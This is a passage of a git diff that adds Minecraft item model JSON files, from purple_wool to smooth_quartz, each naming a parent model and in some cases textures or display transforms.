b/src/assets/minecraft/models/item/purple_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purple_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purpur_block.json b/src/assets/minecraft/models/item/purpur_block.json new file mode 100644 index 00000000..3e7dfa5a --- /dev/null +++ b/src/assets/minecraft/models/item/purpur_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purpur_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purpur_pillar.json b/src/assets/minecraft/models/item/purpur_pillar.json new file mode 100644 index 00000000..2cb1ab30 --- /dev/null +++ b/src/assets/minecraft/models/item/purpur_pillar.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purpur_pillar" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purpur_slab.json b/src/assets/minecraft/models/item/purpur_slab.json new file mode 100644 index 00000000..385a03be --- /dev/null +++ b/src/assets/minecraft/models/item/purpur_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purpur_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/purpur_stairs.json b/src/assets/minecraft/models/item/purpur_stairs.json new file mode 100644 index 00000000..4f881026 --- /dev/null +++ b/src/assets/minecraft/models/item/purpur_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/purpur_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz.json b/src/assets/minecraft/models/item/quartz.json new file mode 100644 index 00000000..6da4a860 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/quartz" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz_block.json b/src/assets/minecraft/models/item/quartz_block.json new file mode 100644 index 00000000..f0966126 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/quartz_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz_bricks.json b/src/assets/minecraft/models/item/quartz_bricks.json new file mode 100644 index 00000000..d2d45cf7 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/quartz_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz_pillar.json b/src/assets/minecraft/models/item/quartz_pillar.json new file mode 100644 index 00000000..52905d11 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz_pillar.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/quartz_pillar" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz_slab.json b/src/assets/minecraft/models/item/quartz_slab.json new file mode 100644 index 00000000..9cd0ebe7 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/quartz_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/quartz_stairs.json b/src/assets/minecraft/models/item/quartz_stairs.json new file mode 100644 index 00000000..4126d6e4 --- /dev/null +++ b/src/assets/minecraft/models/item/quartz_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/quartz_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rabbit.json b/src/assets/minecraft/models/item/rabbit.json new file mode 100644 index 00000000..0c0294ff --- /dev/null +++ b/src/assets/minecraft/models/item/rabbit.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/rabbit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rabbit_foot.json b/src/assets/minecraft/models/item/rabbit_foot.json new file mode 100644 index 00000000..dc68690a --- /dev/null +++ b/src/assets/minecraft/models/item/rabbit_foot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/rabbit_foot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rabbit_hide.json b/src/assets/minecraft/models/item/rabbit_hide.json new file mode 100644 index 00000000..b6327793 --- /dev/null +++ b/src/assets/minecraft/models/item/rabbit_hide.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/rabbit_hide" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rabbit_spawn_egg.json b/src/assets/minecraft/models/item/rabbit_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/rabbit_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rabbit_stew.json b/src/assets/minecraft/models/item/rabbit_stew.json new file mode 100644 index 00000000..311dfe99 --- /dev/null +++ b/src/assets/minecraft/models/item/rabbit_stew.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/rabbit_stew" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rail.json b/src/assets/minecraft/models/item/rail.json new file mode 100644 index 00000000..4e07db10 --- /dev/null +++ b/src/assets/minecraft/models/item/rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ravager_spawn_egg.json b/src/assets/minecraft/models/item/ravager_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/ravager_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_banner.json b/src/assets/minecraft/models/item/red_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/red_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_bed.json b/src/assets/minecraft/models/item/red_bed.json new file mode 100644 index 00000000..7a15f551 --- /dev/null +++ b/src/assets/minecraft/models/item/red_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/red_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_carpet.json b/src/assets/minecraft/models/item/red_carpet.json new file mode 100644 index 00000000..18e4d52e --- /dev/null +++ b/src/assets/minecraft/models/item/red_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_concrete.json b/src/assets/minecraft/models/item/red_concrete.json new file mode 100644 index 00000000..34a0630b --- /dev/null +++ b/src/assets/minecraft/models/item/red_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_concrete_powder.json b/src/assets/minecraft/models/item/red_concrete_powder.json new file mode 100644 index 00000000..36e0ede7 --- /dev/null +++ b/src/assets/minecraft/models/item/red_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_dye.json b/src/assets/minecraft/models/item/red_dye.json new file mode 100644 index 00000000..77765d36 --- /dev/null +++ b/src/assets/minecraft/models/item/red_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/red_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_glazed_terracotta.json b/src/assets/minecraft/models/item/red_glazed_terracotta.json new file mode 100644 index 00000000..3870bc2c --- /dev/null +++ b/src/assets/minecraft/models/item/red_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_mushroom.json b/src/assets/minecraft/models/item/red_mushroom.json new file mode 100644 index 00000000..3be0c03f --- /dev/null +++ b/src/assets/minecraft/models/item/red_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/red_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_mushroom_block.json b/src/assets/minecraft/models/item/red_mushroom_block.json new file mode 100644 index 00000000..5ed44fb4 --- /dev/null +++ b/src/assets/minecraft/models/item/red_mushroom_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_mushroom_block_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_nether_brick_slab.json b/src/assets/minecraft/models/item/red_nether_brick_slab.json new file mode 100644 index 00000000..73ba1684 --- /dev/null +++ b/src/assets/minecraft/models/item/red_nether_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_nether_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_nether_brick_stairs.json b/src/assets/minecraft/models/item/red_nether_brick_stairs.json new file mode 100644 index 00000000..98d716be --- /dev/null +++ b/src/assets/minecraft/models/item/red_nether_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_nether_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_nether_brick_wall.json b/src/assets/minecraft/models/item/red_nether_brick_wall.json new file mode 100644 index 00000000..48f50a64 --- /dev/null +++ b/src/assets/minecraft/models/item/red_nether_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_nether_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_nether_bricks.json b/src/assets/minecraft/models/item/red_nether_bricks.json new file mode 100644 index 00000000..51d3d11c --- /dev/null +++ b/src/assets/minecraft/models/item/red_nether_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_nether_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_sand.json b/src/assets/minecraft/models/item/red_sand.json new file mode 100644 index 00000000..f3459a82 --- /dev/null +++ b/src/assets/minecraft/models/item/red_sand.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_sand" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_sandstone.json b/src/assets/minecraft/models/item/red_sandstone.json new file mode 100644 index 00000000..305751fa --- /dev/null +++ b/src/assets/minecraft/models/item/red_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_sandstone_slab.json b/src/assets/minecraft/models/item/red_sandstone_slab.json new file mode 100644 index 00000000..c7473565 --- /dev/null +++ b/src/assets/minecraft/models/item/red_sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_sandstone_stairs.json b/src/assets/minecraft/models/item/red_sandstone_stairs.json new file mode 100644 index 00000000..6c0f1c52 --- /dev/null +++ b/src/assets/minecraft/models/item/red_sandstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_sandstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_sandstone_wall.json b/src/assets/minecraft/models/item/red_sandstone_wall.json new file mode 100644 index 00000000..7dc10d93 --- /dev/null +++ b/src/assets/minecraft/models/item/red_sandstone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_sandstone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_shulker_box.json b/src/assets/minecraft/models/item/red_shulker_box.json new file mode 100644 index 00000000..618ccff6 --- /dev/null +++ b/src/assets/minecraft/models/item/red_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/red_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_stained_glass.json b/src/assets/minecraft/models/item/red_stained_glass.json new file mode 100644 index 00000000..235d35da --- /dev/null +++ b/src/assets/minecraft/models/item/red_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_stained_glass_pane.json b/src/assets/minecraft/models/item/red_stained_glass_pane.json new file mode 100644 index 00000000..699b006f --- /dev/null +++ b/src/assets/minecraft/models/item/red_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/red_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_terracotta.json b/src/assets/minecraft/models/item/red_terracotta.json new file mode 100644 index 00000000..2ded3a9d --- /dev/null +++ b/src/assets/minecraft/models/item/red_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_tulip.json b/src/assets/minecraft/models/item/red_tulip.json new file mode 100644 index 00000000..406b1ece --- /dev/null +++ b/src/assets/minecraft/models/item/red_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/red_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/red_wool.json b/src/assets/minecraft/models/item/red_wool.json new file mode 100644 index 00000000..b0dd8dd6 --- /dev/null +++ b/src/assets/minecraft/models/item/red_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/red_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/redstone.json b/src/assets/minecraft/models/item/redstone.json new file mode 100644 index 00000000..d273009e --- /dev/null +++ b/src/assets/minecraft/models/item/redstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/redstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/redstone_block.json b/src/assets/minecraft/models/item/redstone_block.json new file mode 100644 index 00000000..71d9d176 --- /dev/null +++ b/src/assets/minecraft/models/item/redstone_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/redstone_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/redstone_lamp.json b/src/assets/minecraft/models/item/redstone_lamp.json new file mode 100644 index 00000000..47f36c43 --- /dev/null +++ b/src/assets/minecraft/models/item/redstone_lamp.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/redstone_lamp" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/redstone_ore.json b/src/assets/minecraft/models/item/redstone_ore.json new file mode 100644 index 00000000..503fed06 --- /dev/null +++ b/src/assets/minecraft/models/item/redstone_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/redstone_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/redstone_torch.json b/src/assets/minecraft/models/item/redstone_torch.json new file mode 100644 index 00000000..ba2060bb --- /dev/null +++ b/src/assets/minecraft/models/item/redstone_torch.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/redstone_torch" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/repeater.json b/src/assets/minecraft/models/item/repeater.json new file mode 100644 index 00000000..7a8b05fb --- /dev/null +++ b/src/assets/minecraft/models/item/repeater.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/repeater" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/repeating_command_block.json b/src/assets/minecraft/models/item/repeating_command_block.json new file mode 100644 index 00000000..75492a4b --- /dev/null +++ b/src/assets/minecraft/models/item/repeating_command_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/repeating_command_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/respawn_anchor.json b/src/assets/minecraft/models/item/respawn_anchor.json new file mode 100644 index 00000000..7fa102a3 --- /dev/null +++ b/src/assets/minecraft/models/item/respawn_anchor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/respawn_anchor_0" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rose_bush.json b/src/assets/minecraft/models/item/rose_bush.json new file mode 100644 index 00000000..4a71ea35 --- /dev/null +++ b/src/assets/minecraft/models/item/rose_bush.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/rose_bush_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/rotten_flesh.json b/src/assets/minecraft/models/item/rotten_flesh.json new file mode 100644 index 00000000..6d789952 --- /dev/null +++ b/src/assets/minecraft/models/item/rotten_flesh.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/rotten_flesh" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/saddle.json b/src/assets/minecraft/models/item/saddle.json new file mode 100644 index 00000000..91895cb4 --- /dev/null +++ b/src/assets/minecraft/models/item/saddle.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/saddle" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/salmon.json b/src/assets/minecraft/models/item/salmon.json new file mode 100644 index 00000000..dcac1db7 --- /dev/null +++ b/src/assets/minecraft/models/item/salmon.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/salmon" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/salmon_bucket.json b/src/assets/minecraft/models/item/salmon_bucket.json new file mode 100644 index 00000000..15217f22 --- /dev/null +++ b/src/assets/minecraft/models/item/salmon_bucket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/salmon_bucket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/salmon_spawn_egg.json b/src/assets/minecraft/models/item/salmon_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/salmon_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sand.json b/src/assets/minecraft/models/item/sand.json new file mode 100644 index 00000000..96c1d00d --- /dev/null +++ b/src/assets/minecraft/models/item/sand.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sand" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sandstone.json b/src/assets/minecraft/models/item/sandstone.json new file mode 100644 index 00000000..474b0ddb --- /dev/null +++ b/src/assets/minecraft/models/item/sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sandstone_slab.json b/src/assets/minecraft/models/item/sandstone_slab.json new file mode 100644 index 00000000..7b8fc6bd --- /dev/null +++ b/src/assets/minecraft/models/item/sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sandstone_stairs.json b/src/assets/minecraft/models/item/sandstone_stairs.json new file mode 100644 index 00000000..989e41ff --- /dev/null +++ b/src/assets/minecraft/models/item/sandstone_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sandstone_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sandstone_wall.json b/src/assets/minecraft/models/item/sandstone_wall.json new file mode 100644 index 00000000..b4f2149b --- /dev/null +++ b/src/assets/minecraft/models/item/sandstone_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sandstone_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/scaffolding.json b/src/assets/minecraft/models/item/scaffolding.json new file mode 100644 index 00000000..1946d80f --- /dev/null +++ b/src/assets/minecraft/models/item/scaffolding.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/scaffolding_stable" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/scute.json b/src/assets/minecraft/models/item/scute.json new file mode 100644 index 00000000..3d4f4133 --- /dev/null +++ b/src/assets/minecraft/models/item/scute.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/scute" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sea_lantern.json b/src/assets/minecraft/models/item/sea_lantern.json new file mode 100644 index 00000000..72561fc0 --- /dev/null +++ b/src/assets/minecraft/models/item/sea_lantern.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/sea_lantern" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sea_pickle.json b/src/assets/minecraft/models/item/sea_pickle.json new file mode 100644 index 00000000..c7f2f968 --- /dev/null +++ b/src/assets/minecraft/models/item/sea_pickle.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/sea_pickle" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/seagrass.json b/src/assets/minecraft/models/item/seagrass.json new file mode 100644 index 00000000..91c88ccb --- /dev/null +++ b/src/assets/minecraft/models/item/seagrass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/seagrass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/shears.json b/src/assets/minecraft/models/item/shears.json new file mode 100644 index 00000000..bc9bf014 --- /dev/null +++ b/src/assets/minecraft/models/item/shears.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/shears" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/sheep_spawn_egg.json b/src/assets/minecraft/models/item/sheep_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/sheep_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/shield.json b/src/assets/minecraft/models/item/shield.json new file mode 100644 index 00000000..ef24bd31 --- /dev/null +++ b/src/assets/minecraft/models/item/shield.json @@ -0,0 +1,52 @@ +{ + "parent": "builtin/entity", + "gui_light": "front", + "textures": { + "particle": "block/dark_oak_planks" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ 0, 90, 0 ], + "translation": [ 10, 6, -4 ], + "scale": [ 1, 1, 1 ] + }, + "thirdperson_lefthand": { + "rotation": [ 0, 90, 0 ], + "translation": [ 10, 6, 12 ], + "scale": [ 1, 1, 1 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 180, 5 ], + "translation": [ -10, 2, -10 ], + "scale": [ 1.25, 1.25, 1.25 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 180, 5 ], + "translation": [ 10, 0, -10 ], + "scale": [ 1.25, 1.25, 1.25 ] + }, + "gui": { + "rotation": [ 15, -25, -5 ], + "translation": [ 2, 3, 0 ], + "scale": [ 0.65, 0.65, 0.65 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "translation": [ -2, 4, -5], + "scale":[ 0.5, 0.5, 0.5] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 4, 4, 2], + "scale":[ 0.25, 0.25, 0.25] + } + }, + "overrides": [ + { + "predicate": { + "blocking": 1 + }, + "model": "item/shield_blocking" + } + ] +} diff --git a/src/assets/minecraft/models/item/shield_blocking.json b/src/assets/minecraft/models/item/shield_blocking.json new file mode 100644 index 00000000..1affe4d4 --- /dev/null +++ b/src/assets/minecraft/models/item/shield_blocking.json @@ -0,0 +1,34 @@ +{ + "parent": "builtin/entity", + "gui_light": "front", + "textures": { + "particle": "block/dark_oak_planks" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ 45, 135, 0 ], + "translation": [ 3.51, 11, -2 ], + "scale": [ 1, 1, 1 ] + }, + "thirdperson_lefthand": { + "rotation": [ 45, 135, 0 ], + "translation": [ 13.51, 3, 5 ], + "scale": [ 1, 1, 1 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 180, -5 ], + "translation": [ -15, 5, -11 ], + "scale": [ 1.25, 1.25, 1.25 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 180, -5 ], + "translation": [ 5, 5, -11 ], + "scale": [ 1.25, 1.25, 1.25 ] + }, + "gui": { + "rotation": [ 15, -25, -5 ], + "translation": [ 2, 3, 0 ], + "scale": [ 0.65, 0.65, 0.65 ] + } + } +} diff --git a/src/assets/minecraft/models/item/shroomlight.json b/src/assets/minecraft/models/item/shroomlight.json new file mode 100644 index 00000000..5d8aef63 --- /dev/null +++ b/src/assets/minecraft/models/item/shroomlight.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/shroomlight" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/shulker_box.json b/src/assets/minecraft/models/item/shulker_box.json new file mode 100644 index 00000000..f547516b --- /dev/null +++ b/src/assets/minecraft/models/item/shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/shulker_shell.json b/src/assets/minecraft/models/item/shulker_shell.json new file mode 100644 index 00000000..6aae0f45 --- /dev/null +++ b/src/assets/minecraft/models/item/shulker_shell.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/shulker_shell" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/shulker_spawn_egg.json b/src/assets/minecraft/models/item/shulker_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/shulker_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/silverfish_spawn_egg.json b/src/assets/minecraft/models/item/silverfish_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/silverfish_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/skeleton_horse_spawn_egg.json b/src/assets/minecraft/models/item/skeleton_horse_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/skeleton_horse_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/skeleton_skull.json b/src/assets/minecraft/models/item/skeleton_skull.json new file mode 100644 index 00000000..364b6e65 --- /dev/null +++ b/src/assets/minecraft/models/item/skeleton_skull.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_skull" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/skeleton_spawn_egg.json b/src/assets/minecraft/models/item/skeleton_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/skeleton_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/skull_banner_pattern.json b/src/assets/minecraft/models/item/skull_banner_pattern.json new file mode 100644 index 00000000..a39281f7 --- /dev/null +++ b/src/assets/minecraft/models/item/skull_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/skull_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/slime_ball.json b/src/assets/minecraft/models/item/slime_ball.json new file mode 100644 index 00000000..812f0860 --- /dev/null +++ b/src/assets/minecraft/models/item/slime_ball.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/slime_ball" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/slime_block.json b/src/assets/minecraft/models/item/slime_block.json new file mode 100644 index 00000000..848fbdaf --- /dev/null +++ b/src/assets/minecraft/models/item/slime_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/slime_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/slime_spawn_egg.json b/src/assets/minecraft/models/item/slime_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/slime_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smithing_table.json b/src/assets/minecraft/models/item/smithing_table.json new file mode 100644 index 00000000..3028d70f --- /dev/null +++ b/src/assets/minecraft/models/item/smithing_table.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smithing_table" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smoker.json b/src/assets/minecraft/models/item/smoker.json new file mode 100644 index 00000000..7d274018 --- /dev/null +++ b/src/assets/minecraft/models/item/smoker.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/smoker" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/smooth_quartz.json b/src/assets/minecraft/models/item/smooth_quartz.json new file mode 100644 index 00000000..b2047c83 --- /dev/null +++ b/src/assets/minecraft/models/item/smooth_quartz.json @@ -0,0 +1,3 @@ +{ + "parent": 